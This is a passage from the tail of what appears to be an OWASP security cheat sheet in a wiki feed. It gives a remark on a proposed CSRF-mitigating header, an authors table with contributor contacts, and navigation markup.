* There is a proposal to use this header to mitigate CSRF attacks, but is not yet implemented by vendors for this purpose.&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! First        !! Last       !! Email&lt;br /&gt;
|-&lt;br /&gt;
| Mark         || Roxberry   || mark.roxberry [at] owasp.org&lt;br /&gt;
|-&lt;br /&gt;
| Krzysztof    || Kotowicz   || krzysztof [at] kotowicz.net&lt;br /&gt;
|-&lt;br /&gt;
| Will         || Stranathan || will [at] cltnc.us&lt;br /&gt;
|-&lt;br /&gt;
| Shreeraj     || Shah       || shreeraj.shah [at] blueinfy.net&lt;br /&gt;
|-&lt;br /&gt;
| Juan Galiana || Lara       || jgaliana [at] owasp.org&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	</feed>